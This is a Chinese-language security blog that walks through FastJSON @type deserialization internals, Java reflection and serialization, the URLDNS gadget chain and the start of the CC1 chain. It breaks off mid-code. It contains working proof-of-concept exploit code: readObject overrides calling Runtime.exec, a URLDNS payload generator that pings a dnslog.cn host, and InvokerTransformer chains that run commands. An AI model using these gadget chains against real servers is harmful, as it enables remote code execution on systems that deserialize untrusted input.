云逸'bolg

FastJSON反序列化漏洞

2024-07-05T05:01:05.000Z

# FastJSON 反序列化漏洞

首先，在你的项目中引入 fastjson 的依赖。在 Maven 项目中，可以在 pom.xml 文件中添加以下依赖：

	<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.24</version>
	</dependency>

# fastJSON 原理流程

FastJson 对于 JSON 格式字符串、JSON 对象及 JavaBean 之间的相互转换

	package Fsat;

	import com.alibaba.fastjson.JSON;
	import com.alibaba.fastjson.JSONObject;

	public class Fastuser {
	public static void main(String[] args) {
	// JSON string
	String jsonStr = "{\"name\":\"John\",\"age\":30,\"city\":\"New York\"}";

	JSONObject obj = JSON.parseObject(jsonStr);// 将 JSON 字符串解析为 Java 对象
	System.out.println(obj);// 输出 Java 对象

	System.out.println(obj.getString("name"));// 输出 name 字段的值
	}
	}

FsatJSON 还支持将 JSON 字符串解析为 javaBean 就是一种格式就是一个属性有属性具有 getter 和 setter 方法。

JavaBean 在 fastjson 中的使用

fastjson 可以方便地将 JavaBean 序列化为 JSON 字符串，以及将 JSON 字符串反序列化为 JavaBean。

	package Fsat;

	public class User {
	public String name;
	public int age;

	public User() {
	System.out.println("构造函数");
	}

	public String getName() {
	System.out.println("我是getName方法");
	return name;
	}

	public void setName(String name) {
	System.out.println("我是setName方法");
	this.name = name;
	}

	public int getAge() {
	System.out.println("我是getAge方法");
	return age;
	}

	public void setAge(int age) {
	System.out.println("我是setAge方法");
	this.age = age;
	}
	}



	package Fsat;

	import com.alibaba.fastjson.JSON;
	import com.alibaba.fastjson.JSONObject;

	public class Fastuser {
	public static void main(String[] args) {
	// JSON string
	String jsonStr = "{\"name\":\"John\",\"age\":30}";

	// Java object
	User user = JSON.parseObject(jsonStr, User.class);// 将 JSON 字符串解析为 User 对象
	// 访问 Java 对象的属性
	System.out.println(user.getName());
	}
	}
	结果为：
	构造函数
	我是setName方法
	我是setAge方法
	我是getName方法
	John

他会去调用 set 给属性赋值，这个写法指定了是 User 类，但是 fastjson 是可以根据你指定的类让他去解析

由于 fastjson 可以根据 JSON 字符串中的 @type 字段来实例化对象

写法就是

	package Fsat;

	import com.alibaba.fastjson.JSON;
	import com.alibaba.fastjson.JSONObject;

	public class Fastuser {
	public static void main(String[] args) {
	// JSON string
	String jsonStr = "{\"@type\":\"Fsat.User\",\"name\":\"John\",\"age\":30}";

	// Java object
	JSONObject user = JSON.parseObject(jsonStr);// 将 JSON 字符串解析为 User 对象
	// 访问 Java 对象的属性
	System.out.println(user);
	}
	}
	/* 结果
	构造函数
	我是 setName 方法
	我是 setAge 方法
	我是 getAge 方法
	我是 getName 方法
	{"name":"John","age":30}
	他把我们传入的 User 类的构造函数 set，get 方法全部调用了一遍

@type 后面 Fsat.User 是我们指定的类，fastjson 就会根据这个类去解析，在这个过程里面他会把 json 字符串按照你传入的类进行解析赋值调用等，因为这个类是客户端可以控制的， fastjson 允许 JSON 数据指定反序列化后的类型，所以我们就可以通过构造包含恶意 @type 字段的 JSON 字符串，来加载并执行任意类中的代码，这个功能就导致的安全问题。

# 调试

这段代码用于将 JSON 字符串解析为 JSONObject 。它首先调用 parse 方法将 JSON 字符串解析为一个 Java 对象，然后检查该对象是否是 JSONObject 的实例，如果是则直接返回，否则调用 toJSON 方法将该对象转换为 JSONObject 并返回。

往下走走到这里他会用他会用 DefaultJSONParser 去对传进来的 JSON 字符串进行解析

再往下走核心代码就在 DefaultJSONParser 里面，解析第一步就是去字符串进行匹配

这段代码是 fastjson 库中用于解析 JSON 数据的一部分。它通过检查 JSONLexer 的当前标记来决定如何处理输入，并将其解析为相应的 Java 对象

当前我们是左大括号标记是 LBRACE （表示对象的左大括号），则创建一个 JSONObject ，解析对象内容并返回。

parseObject，反序列化的核心方法

# 逻辑步骤

初始化和验证：
- 获取 lexer （词法解析器）。
- 如果当前的 lexer token 是 JSONToken.NULL ，则返回 null 。
- 如果当前的 lexer token 是 JSONToken.RBRACE ，则返回传入的 object 。
处理 JSON 对象的开始：
- 如果 lexer 的 token 既不是 JSONToken.LBRACE 也不是 JSONToken.COMMA ，则抛出异常。
- 初始化 ParseContext ，并设置一个标志 setContextFlag 为 false 。
循环解析 JSON 对象中的每个键值对：
- 跳过空白字符。
- 如果启用了 Feature.AllowArbitraryCommas ，则跳过连续的逗号。
- 根据当前字符判断并解析键（ key ），支持双引号、单引号、无引号、数字、嵌套对象或数组作为键。
- 跳过键后的冒号，并再次跳过空白字符。
处理特殊键：
- 如果键为 @type 且未禁用 Feature.DisableSpecialKeyDetect ，则解析类型信息并根据类型创建对象。
- 如果键为 $ref 且未禁用 Feature.DisableSpecialKeyDetect ，则解析引用并返回引用的对象。
设置解析上下文：
- 如果尚未设置上下文，则设置当前解析上下文。
解析值：
- 根据键后的字符判断并解析值（ value ），支持字符串、数字、数组、嵌套对象等各种类型的值。
- 将解析的键值对添加到 object 中。
处理对象结束：
- 如果遇到右花括号 } ，则结束对象的解析并返回 object 。
- 如果遇到逗号 , ，则继续解析下一个键值对。
- 如果遇到其他字符，则抛出异常。

走到这个 if 判断

检查键和配置项：

key == JSON.DEFAULT_TYPE_KEY 检查当前键是否为 @type 。
!lexer.isEnabled(Feature.DisableSpecialKeyDetect) 检查是否启用了特殊键检测功能。如果禁用了，则跳过后续处理。

扫描类型名称：

String typeName = lexer.scanSymbol(symbolTable, '"'); 从 JSON 中读取 @type 的值，即类型名称。类型名称是用双引号括起来的字符串。

加载类：

Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); 根据类型名称加载对应的 Java 类。使用 TypeUtils.loadClass 方法，通过类加载器 config.getDefaultClassLoader() 来加载类。

跟到 TypeUtils.loadClass

这段代码定义了一个 loadClass 方法，用于根据类名和类加载器加载类。它首先检查缓存中是否已有该类，如果没有则尝试从给定的类加载器、当前线程的上下文类加载器或系统类加载器中加载类。具体逻辑如下：

参数检查：
- 如果类名为空或长度为零，则返回 null 。
缓存检查：
- 从 mappings 缓存中获取类名对应的类，如果存在则直接返回。
处理数组类型：
- 如果类名以 [ 开头，表示是数组类型，递归调用 loadClass 方法加载组件类型，并返回该组件类型的数组类。
处理对象类型：
- 如果类名以 L 开头并以 ; 结尾，表示是对象类型，去掉 L 和 ; 后递归调用 loadClass 方法加载类。
尝试使用给定的类加载器加载类：
- 如果提供了类加载器，则尝试使用它加载类，并将加载的类缓存到 mappings 中。
尝试使用当前线程的上下文类加载器加载类：
- 如果类加载器加载失败，则尝试使用当前线程的上下文类加载器加载类，并将加载的类缓存到 mappings 中。
尝试使用系统类加载器加载类：
- 如果上下文类加载器加载失败，则尝试使用系统类加载器加载类，并将加载的类缓存到 mappings 中。
返回加载的类或 null ：
- 如果所有尝试都失败，则返回 null 。
后面的绕过黑名单就因为去除了 L 和；

解析器解析完后下一步，走到这里回来后才是我们的 User 类，前面还是对字符串操作

从配置中获取特定类的反序列化器，并使用它进行反序列化。具体逻辑如下：

获取反序列化器：
- 调用 config.getDeserializer(clazz) 方法，根据类 clazz 从配置 config 中获取对应的 ObjectDeserializer 反序列化器。
使用反序列化器进行反序列化：
- 调用反序列化器的 deserialze 方法，传入当前解析器 this 、类 clazz 和字段名 fieldName 进行反序列化，返回反序列化后的对象。

# 1.2.24 利用

FastJSON 和原生反序列化区别

不要需要实现 Serializable，不需要 readObject 而是 setter getter，变量不需要 transient

相同点 sink 反射，动态类加载

JAVA反序列化URLDNS

2024-06-28T10:00:15.000Z

# java 反序列化漏洞前置知识

# java 反射

# 什么是反射

Java 反射（Reflection）是 Java 编程语言的一部分，它允许程序在运行时检查或修改自身的行为和结构。反射机制可以让你动态地获取类的信息、创建对象、调用方法、访问和修改字段等。反射是 Java 的一大特点，尽管使用反射会影响性能并增加代码的复杂性，但在某些情况下，反射非常有用，比如框架开发、测试工具、序列化 / 反序列化等。

加载完类之后，在堆内存的方法区中就产生了一个 Class 类型的对象（一个类只有一个 Class 对象)，这个对象就包含了完整的类的结构息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子，透过这个镜子看到类的结构，所以，我们形象的称之为：反射

“类就好比上帝创造人类的蓝图，而 Class 对象就是这个蓝图的说明书。”

反射常用的 API

	//java.lang.Class: 代表一个类
	//java.lang.reflect..Method: 代表类的方法
	//java.lang.reflect..Field: 代表类的成员变量
	//java.lang.reflect.Constructor: 代表类的构造器

	package cc.fan;

	public class Test {
	public static void main(String[] args) throws ClassNotFoundException {
	// 通过反射获取 User 类的 class 对象
	Class c1 = Class.forName("cc.fan.User");
	System.out.println(c1);
	// 通过反射创建 User 类的对象
	// 一个类只有一个 Class 对象所以他们都一样
	Class c2 = Class.forName("cc.fan.User");
	Class c3 = Class.forName("cc.fan.User");
	Class c4 = Class.forName("cc.fan.User");
	System.out.println(c1.hashCode());// 打印他们的 hashCode
	System.out.println(c2.hashCode());
	System.out.println(c3.hashCode());
	System.out.println(c4.hashCode());
	}
	}
	// 实体类
	class User {
	private String name;
	private int age;
	private String id;
	public User() {

	}
	public User(String name, int age, String id) {
	this.name = name;
	this.age = age;
	this.id = id;
	}

	public String getName() {
	return name;
	}

	public void setName(String name) {
	this.name = name;
	}

	public int getAge() {
	return age;
	}

	public void setAge(int age) {
	this.age = age;
	}

	public String getId() {
	return id;
	}

	public void setId(String id) {
	this.id = id;
	}

	@Override
	public String toString() {
	return "User{" +
	"name='" + name + '\'' +
	", age=" + age +
	", id='" + id + '\'' +
	'}';
	}
	}
	// 返回结果为
	class cc.fan.User
	1915910607
	1915910607
	1915910607
	1915910607

# 获取 Class 的方法

	package cc.fan;

	public class Test2 {
	public static void main(String[] args) throws ClassNotFoundException {
	Person p1 = new Student();
	System.out.println("这个人是个"+p1.name);
	// 第一种方式通过对象获取 Class 对象
	Class c1 = p1.getClass();
	System.out.println(c1.hashCode());
	// 第二种方式通过 ForName 获取 Class 对象
	Class c2 = Class.forName("cc.fan.Student");
	System.out.println(c2.hashCode());
	// 第三种方式通过类名获取 Class 对象
	Class c3 = Student.class;
	System.out.println(c3.hashCode());
	// 获取父类类型，通过子类获取父类类型
	Class c4 = c1.getSuperclass();
	System.out.println(c4.getName());
	// 获取父类类型，通过类名获取父类类型

	}
	}
	class Person {
	String name;
	public Person() {

	}
	public Person(String name) {
	this.name = name;
	}

	@Override
	public String toString() {
	return "Person{" +
	"name='" + name + '\'' +
	'}';
	}
	}
	class Student extends Person {
	public Student() {
	this.name = "学生";
	}
	}
	class Teacher extends Person {
	public Teacher() {
	this.name = "老师";
	}
	}

# 获取类里面的属性

	// 获取类里面的属性
	package fans;

	import java.lang.reflect.Constructor;
	import java.lang.reflect.Field;
	import java.lang.reflect.InvocationTargetException;

	public class Test2 {
	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
	Test1 test1 = new Test1();
	Class c = test1.getClass();
	// 从 Class 原型里实例化对象
	Constructor test2 = c.getConstructor(String.class, int.class);
	Test1 p = (Test1) test2.newInstance("John", 10);
	System.out.println(p);
	// 获取类里面的属性
	//getFields 获取全部属性除了私有属性
	Field[] fields = c.getFields();
	for(Field f: fields){
	System.out.println(f);
	}

	}
	}
	// 结果 public java.lang.String fans.Test1.name，因为 age 是私有属性所以不显示
	//getDeclaredFields 获取所有属性，包括私有属性
	package fans;

	import java.lang.reflect.Constructor;
	import java.lang.reflect.Field;
	import java.lang.reflect.InvocationTargetException;

	public class Test2 {
	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
	Test1 test1 = new Test1();
	Class c = test1.getClass();
	// 从 Class 原型里实例化对象
	Constructor test2 = c.getConstructor(String.class, int.class);
	Test1 p = (Test1) test2.newInstance("John", 10);
	System.out.println(p);
	// 获取类里面的属性
	//getFields 获取全部属性，getDeclaredFields 获取所有属性，包括私有属性
	Field[] fields = c.getDeclaredFields();
	for(Field f: fields){
	System.out.println(f);
	}

	}
	}
	//public java.lang.String fans.Test1.name
	//private int fans.Test1.age

# 操作属性

	// 改变属性 set ()
	package fans;

	import java.lang.reflect.Constructor;
	import java.lang.reflect.Field;
	import java.lang.reflect.InvocationTargetException;

	public class Test2 {
	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
	Test1 test1 = new Test1();
	Class c = test1.getClass();
	// 从 Class 原型里实例化对象
	Constructor test2 = c.getConstructor(String.class, int.class);
	Test1 p = (Test1) test2.newInstance("John", 10);
	System.out.println(p);
	// 改变属性
	Field namefield = c.getDeclaredField("name");
	namefield.set(p, "Tom");
	System.out.println(p);
	}
	}
	/* 结果 Test1 {name='John', age=10}
	Test1 {name='TOM', age=10}*/
	// 改变私有属性
	package fans;

	import java.lang.reflect.Constructor;
	import java.lang.reflect.Field;
	import java.lang.reflect.InvocationTargetException;

	public class Test2 {
	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
	Test1 test1 = new Test1();
	Class c = test1.getClass();
	// 从 Class 原型里实例化对象
	Constructor test2 = c.getConstructor(String.class, int.class);
	Test1 p = (Test1) test2.newInstance("John", 10);
	System.out.println(p);
	// 改变私有属性
	Field namefield = c.getDeclaredField("age");
	namefield.setAccessible(true);
	namefield.set(p, 100);
	System.out.println(p);
	}
	}
	// 结果 Test1 {name='John', age=10}
	//Test1{name='John', age=100}

# 获取类里面的方法

	//getMethods 获取全部方法
	package fans;

	import java.lang.reflect.*;

	public class Test2 {
	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
	Test1 test1 = new Test1();
	Class c = test1.getClass();
	// 从 Class 原型里实例化对象
	Constructor test2 = c.getConstructor(String.class, int.class);
	Test1 p = (Test1) test2.newInstance("John", 10);
	System.out.println(p);
	// 改变属性
	Field namefield = c.getDeclaredField("name");
	namefield.set(p, "TOM");
	System.out.println(p);
	Method[] fang = c.getMethods();
	for (Method m : fang) {
	System.out.println(m);
	}
	}
	}
	/*
	public java.lang.String fans.Test1.toString ()
	public final void java.lang.Object.wait (long,int) throws java.lang.InterruptedException
	public final native void java.lang.Object.wait (long) throws java.lang.InterruptedException
	public final void java.lang.Object.wait () throws java.lang.InterruptedException
	public boolean java.lang.Object.equals (java.lang.Object)
	public native int java.lang.Object.hashCode ()
	public final native java.lang.Class java.lang.Object.getClass ()
	public final native void java.lang.Object.notify ()
	public final native void java.lang.Object.notifyAll ()
	里面有很多都是继承的 Object 里面的方法
	*/

# java 反序列化与序列化

# 序列化和反序列化的基本概念

序列化：将 Java 对象转换成字节流，以便在网络上传输或保存到文件中。
反序列化：将字节流转换回 Java 对象。

# 序列化和反序列化的使用

使用 ObjectOutputStream 进行序列化，使用 ObjectInputStream 进行反序列化用 implements Serializable 接口标明是否可以反序列化

readObject 方法用来从源输出流中读取字节序列，再把他反序列化成一个对象返回

	//Demo1 类
	// 对象需要实现 Serializable 接口
	package cc.fan;

	import java.io.Serializable;

	public class Demo1 implements Serializable {// 此接口表明可被反序列化
	private String name;
	private int age;
	public Demo1() {

	}
	public Demo1(int age, String name) {
	this.age = age;
	this.name = name;
	}

	@Override
	public String toString() {
	return "Demo1{" +
	"name='" + name + '\'' +
	", age=" + age +
	'}';
	}
	}
	/* 序列化

	将对象转换为字节流并保存到文件或通过网络传输。
	关键方法
	ObjectOutputStream.writeObject (Object obj): 此方法用于将对象序列化并写入输出流。
	*/
	package cc.fan;
	import java.io.*;

	public class xu {// 序列化
	public static void x(Object obj) throws IOException {
	ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
	oos.writeObject(obj);
	}
	public static void main(String[] args) throws IOException {
	Demo1 p = new Demo1(20, "Tom");
	System.out.println(p);
	x(p);
	}
	}
	/* 反序列化
	将字节流转换回对象。
	关键方法
	ObjectInputStream.readObject (): 此方法用于从输入流中读取对象并进行反序列化。
	*/
	package cc.fan;
	import java.io.*;

	public class Fanse {// 反序列化
	public static Object fan (String File) throws IOException, ClassNotFoundException {
	ObjectInputStream ois = new ObjectInputStream(new FileInputStream(File));
	Object obj = ois.readObject();
	return obj;
	}
	public static void main(String[] args) throws IOException, ClassNotFoundException {
	Demo1 nn = (Demo1)fan("test.bin");
	System.out.println(nn);
	}

	}
	// 静态成员变量不可被反序列化因为他属于类不属于对象
	//transient 标记的成员变量也不可被反序列化
	package cc.fan;

	import java.io.Serializable;

	public class Demo1 implements Serializable {
	private transient String name;
	private int age;
	public Demo1() {

	}
	public Demo1(int age, String name) {
	this.age = age;
	this.name = name;
	}

	@Override
	public String toString() {
	return "Demo1{" +
	"name='" + name + '\'' +
	", age=" + age +
	'}';
	}
	}
	// 反序列化结果返回空和零
	//Demo1{name='null', age=0}

# 安全问题

Java 反序列化的漏洞的与 readObject 有关

1. 入口类的 readObject 直接调用了危险函数，基本上没有

代码示例；

	// 此类重写了 readObject 方法，调用了危险方法，在进行反序列化时就会执行其中的危险方法
	package cc.fan;

	import java.io.IOException;
	import java.io.ObjectInputStream;
	import java.io.Serializable;

	public class Demo1 implements Serializable {
	private transient String name;
	private static int age;
	public Demo1() {

	}
	public Demo1(int age, String name) {
	this.age = age;
	this.name = name;
	}

	@Override
	public String toString() {
	return "Demo1{" +
	"name='" + name + '\'' +
	", age=" + age +
	'}';
	}
	private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
	in.defaultReadObject();
	// 恶意代码执行
	Runtime.getRuntime().exec("calc.exe");
	}
	}

反序列化时就会弹出计算器

2. 入口类参数中包含可控类，该类有危险方法的类，readObject 时调用了

在这种情况下，入口类中的某个字段是一个可控的类实例，这个类中包含危险的方法。在反序列化时， readObject 方法可能会调用这些危险方法。

就是一个包裹外面是无害的但是里面包裹着一层危险品 readObject 就相当于是外面一层，危险的方法在里面

代码示例；

	package cc.fan;

	import java.io.IOException;
	import java.io.ObjectInputStream;
	import java.io.Serializable;

	public class Demo1 implements Serializable {
	private transient String name;
	private static int age;
	public Demo1() {

	}
	public Demo1(int age, String name) {
	this.age = age;
	this.name = name;
	}

	@Override
	public String toString() {
	return "Demo1{" +
	"name='" + name + '\'' +
	", age=" + age +
	'}';
	}
	public void dangerousMethod() {// 危险方法
	try {
	Runtime.getRuntime().exec("calc.exe");
	} catch (IOException e) {
	e.printStackTrace();
	}
	}

	private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
	in.defaultReadObject();
	dangerousMethod(); // 在反序列化时调用危险方法
	}
	}

3. 入口类参数中包含可控类，该类又调用了其他有危险方法的类，readObject 时调用了

反序列化漏洞共同条件

1，继承了 Serializable 接口可反序列化

2，入口类（重写了 readObject 参数类型广泛最好 jdk 自带）

3，调用链 gadget chain 相同名称、相同类型

4，执行类（RCE 比如 exec 函数）

# URLDNS 链

URLDNS 链是一条原生态的利用链，通常被用来验证是否存在反序列化，因为是原生所以没有什么版本限制

HashMap 结合 URL 解析触发 DNS，可以用来判断服务器是否使用了 readObject () 可不可以执行

# HashMap 重写的 readObject

	//HashMap 重写的 readObject ()，内容如下
	private void readObject(ObjectInputStream s)
	throws IOException, ClassNotFoundException {

	// 获取序列化流中的所有字段
	ObjectInputStream.GetField fields = s.readFields();

	// 读取 loadFactor 字段（忽略 threshold 字段）
	float lf = fields.get("loadFactor", 0.75f);
	if (lf <= 0 \|\| Float.isNaN(lf))
	throw new InvalidObjectException("Illegal load factor: " + lf);

	// 将 loadFactor 限制在 0.25 到 4.0 之间
	lf = Math.min(Math.max(0.25f, lf), 4.0f);
	HashMap.UnsafeHolder.putLoadFactor(this, lf);

	// 重新初始化 HashMap
	reinitialize();

	s.readInt(); // 读取并忽略 bucket 的数量
	int mappings = s.readInt(); // 读取 mappings 的数量（即 HashMap 的大小）
	if (mappings < 0) {
	throw new InvalidObjectException("Illegal mappings count: " + mappings);
	} else if (mappings == 0) {
	// 如果 mappings 为 0，使用默认值
	} else if (mappings > 0) {
	// 计算适当的容量和阈值
	float fc = (float)mappings / lf + 1.0f;
	int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
	DEFAULT_INITIAL_CAPACITY :
	(fc >= MAXIMUM_CAPACITY) ?
	MAXIMUM_CAPACITY :
	tableSizeFor((int)fc));
	float ft = (float)cap * lf;
	threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
	(int)ft : Integer.MAX_VALUE);

	// 检查数组的类型是否正确
	SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
	@SuppressWarnings({"rawtypes","unchecked"})
	Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
	table = tab;

	// 读取键和值，并将它们放入 HashMap 中
	for (int i = 0; i < mappings; i++) {
	@SuppressWarnings("unchecked")
	K key = (K) s.readObject();
	@SuppressWarnings("unchecked")
	V value = (V) s.readObject();
	putVal(hash(key), key, value, false, false);//hash (key)：计算键 key 的哈希值。
	}
	}
	}

# readObject 调用 hash

	static final int hash(Object key) {
	int h;
	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);// 调用了 hashCode ()
	}

# hash 调用 hashCode ()

找到同名的方法

URL 类的 hashCode ()

	public synchronized int hashCode() {
	if (hashCode != -1)
	return hashCode;

	hashCode = handler.hashCode(this);
	return hashCode;
	}

# 调用 handler 里面的 hashCode 方法

	protected int hashCode(URL u) {
	int h = 0;

	// Generate the protocol part.
	String protocol = u.getProtocol();
	if (protocol != null)
	h += protocol.hashCode();

	// Generate the host part.
	InetAddress addr = getHostAddress(u);
	if (addr != null) {
	h += addr.hashCode();
	} else {
	String host = u.getHost();
	if (host != null)
	h += host.toLowerCase().hashCode();
	}

	// Generate the file part.
	String file = u.getFile();
	if (file != null)
	h += file.hashCode();

	// Generate the port part.
	if (u.getPort() == -1)
	h += getDefaultPort();
	else
	h += u.getPort();

	// Generate the ref part.
	String ref = u.getRef();
	if (ref != null)
	h += ref.hashCode();

	return h;
	}

# hashCode 调用了 getHostAddress

	protected InetAddress getHostAddress(URL u) {
	return u.getHostAddress();//getHostAddress
	}

# u.getHostAddress()

	//URL 中的 getHostAddress ()
	synchronized InetAddress getHostAddress() {
	if (hostAddress != null) {
	return hostAddress;
	}

	if (host == null \|\| host.isEmpty()) {
	return null;
	}
	try {
	hostAddress = InetAddress.getByName(host);//getByName 解析地址
	} catch (UnknownHostException \| SecurityException ex) {
	return null;
	}
	return hostAddress;
	}

# 调用 InetAddress.getByName (host) 到此结束

	//InetAddress.getAllByName (host)：该方法会根据主机名解析所有对应的 InetAddress 对象，
	private static InetAddress getByName(String host, InetAddress reqAddr)
	throws UnknownHostException {
	return InetAddress.getAllByName(host, reqAddr)[0];
	}

# 利用

在第一步 HashMap 的 readObject 里

	K key = (K) s.readObject();//key 的值是 readObject 取的
	@SuppressWarnings("unchecked")
	V value = (V) s.readObject();
	putVal(hash(key), key, value, false, false);//hash (key)：计算键 key 的哈希值。

key 的值是 readObject 取的值，那 writeObject 会写入 key

调用 internalWriteEntries(s) 方法，该方法负责将 HashMap 中的所有键值对写入 ObjectOutputStream 。这个方法通常会遍历哈希表，并将每个键值对依次写入输出流，以便在反序列化时可以恢复这些键值对。

	private void writeObject(java.io.ObjectOutputStream s)
	throws IOException {
	int buckets = capacity();
	// Write out the threshold, loadfactor, and any hidden stuff
	s.defaultWriteObject();
	s.writeInt(buckets);
	s.writeInt(size);
	internalWriteEntries(s);
	}

跟进 internalWriteEntries

key 的值是从 tab 取出修改 table 的值就要用到 HashMap 的 put 方法

	void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
	Node<K,V>[] tab;
	if (size > 0 && (tab = table) != null) {
	for (int i = 0; i < tab.length; ++i) {
	for (Node<K,V> e = tab[i]; e != null; e = e.next) {
	s.writeObject(e.key);
	s.writeObject(e.value);
	}
	}
	}
	}

但是在 put 方法中就已经调用了 hash 方法进行了 DNS 解析，但是这样就无法判断 payload 是否触发，所以要用到 java 的反射机制修改值

	public V put(K key, V value) {
	return putVal(hash(key), key, value, false, true);
	}

URL 中的 hashCode 判断值是否为 - 1，不为 - 1 直接返回 hashCode，并且 hashCode 为私有属性所以要利用反射机制修改

	public synchronized int hashCode() {
	if (hashCode != -1)
	return hashCode;

	hashCode = handler.hashCode(this);
	return hashCode;
	}

	private int hashCode = -1;//private 私有属性

代码如下；

	// 这样就不会触发 dns 解析了
	package cc.fan;
	import java.io.*;
	import java.lang.reflect.Field;
	import java.net.URL;
	import java.nio.file.Files;
	import java.nio.file.Paths;
	import java.util.HashMap;

	public class Xu {// 序列化
	public static void x(Object obj) throws IOException {
	ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
	oos.writeObject(obj);
	}
	public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
	HashMap<URL, Integer> hashmap = new HashMap<>();// 创建 HashMap 对象
	URL url = new URL("http://y56v4t.dnslog.cn");// 创建 URL 对象传入 URL 对象
	Class d = url.getClass();// 获取 URL 类的 Class 对象
	Field url3 = d.getDeclaredField("hashCode");// 获取 URL 类的 hashCode 属性
	url3.setAccessible(true);// 设置访问权限为 true 确保可以访问私有属性
	url3.set(url, 1234);// 通过反射修改 URL 类的 hashCode 属性值为 1234
	hashmap.put(url, 1);// 将 URL 对象和值 1 放入 HashMap 中
	// 上一步已经绕过了 put 方法中的 hash 方法，接着将值再修改为 - 1 然后序列化，反序列化时触发 dns 解析
	url3.set(url, -1);// 通过反射修改 URL 类的 hashCode 属性值为 - 1
	Xu.x(hashmap);// 序列化 HashMap 对象
	}
	}

	// 反序列化
	package cc.fan;
	import java.io.*;

	public class Fanse {// 反序列化
	public static Object fan (String File) throws IOException, ClassNotFoundException {
	ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.bin"));
	Object obj = ois.readObject();
	return obj;
	}
	public static void main(String[] args) throws IOException, ClassNotFoundException {
	fan("test.bin");
	}

	}

# CC1 链

# InvokerTransformer

入口点为 InvokerTransformer

InvokerTransformer 是一个 Apache Commons Collections 库中的类，通常用于通过反射调用方法。通过这种方式，你可以将方法调用封装在一个对象中，然后在需要时执行它。

	//InvokerTransformer 构造方法
	public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
	// 使用提供的 methodName 初始化实例变量 iMethodName
	this.iMethodName = methodName;

	// 使用提供的 paramTypes 初始化实例变量 iParamTypes
	this.iParamTypes = paramTypes;

	// 使用提供的 args 初始化实例变量 iArgs
	this.iArgs = args;
	}
	/*methodName（类型为 String）：要调用的方法的名称。
	paramTypes（Class 对象的数组）：方法参数的类型。
	args（Object 数组）：调用方法时要传递的参数。
	*/

	/* 关键方法
	transform
	这是 Transformer 接口中的主要方法。InvokerTransformer 实现了这个接口。
	*/
	public Object transform(Object input) {
	if (input == null) {
	return null;
	} else {
	try {
	Class cls = input.getClass();// 关键代码获取 input 的 Class 类
	Method method = cls.getMethod(this.iMethodName, this.iParamTypes);// 获取输入对象的指定方法
	return method.invoke(input, this.iArgs);//invoke 反射调用 input 类里面的方法
	} catch (NoSuchMethodException var4) {
	throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
	} catch (IllegalAccessException var5) {
	throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
	} catch (InvocationTargetException var6) {
	InvocationTargetException ex = var6;
	throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
	}
	}
	}
	}

我们就可以用它来执行任意类任意方法比如 Runtime.getRuntime ().exec

	public class Ming {
	public static void main(String[] args) throws Exception {
	Runtime v= Runtime.getRuntime();// 创建对象
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(v);//exec 方法，String 类型，参数执行 calc
	}
	}

# TransformedMap

有了这个入口就开始找哪个类调用了 transform 方法

我们就找一下哪些类可以调用 InvokerTransformer.transform () 方法

找到 TransformedMap 里的 checkSetValue 的 valueTransformer 调用了 transform 方法

跟进查看一下 TransformedMap 类

TransformedMap 的构造函数是受保护的，构造方法也是是 protected 权限的，不能从外部访问，那么我们就需要找到一个可以内部实例化的方法

	protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
	super(map);
	this.keyTransformer = keyTransformer;
	this.valueTransformer = valueTransformer;
	}

跟进在上面找到了静态方法 decorate，这样就解决了 valueTransformer 变量赋值的问题

回溯找谁调用了 checkSetValue 方法

在 AbstractInputCheckedMapDecorator 类里面的 MapEntry 的 setValue 中调用了 checkSetValue

MapEntry 中的 setValue 方法其实就是 Entry 中的 setValue 方法，他这里重写了 setValue 方法。

TransformedMap 接受 Map 对象并且进行转换是需要遍历 Map 的，遍历出的一个键值对就是 Entry，所以当遍历被修饰过的 Map 时，setValue 方法也就执了，接着就会调用 TransformedMap 的 checkSetValue 然后就调用到了 transform 执行

	import org.apache.commons.collections4.map.TransformedMap;
	import org.apache.commons.collections4.functors.InvokerTransformer;
	import java.util.HashMap;
	import java.util.Map;

	public class Ming {
	public static void main(String[] args) throws Exception {
	// 获取运行时对象
	Runtime v= Runtime.getRuntime();

	// 创建 InvokerTransformer，它将调用指定的方法
	// "exec" 方法名
	//new Class []{String.class} 方法参数类型
	//new Object []{"calc"} 方法参数值
	InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

	// 以下步骤就相当于 invokerTransformer.transform (v)
	// 创建一个 HashMap，并插入一个键值对
	HashMap<Object, Object> map=new HashMap<>();
	map.put("key", "value");

	// 使用 TransformedMap 装饰 HashMap，值的转换器为 invokerTransformer
	Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);

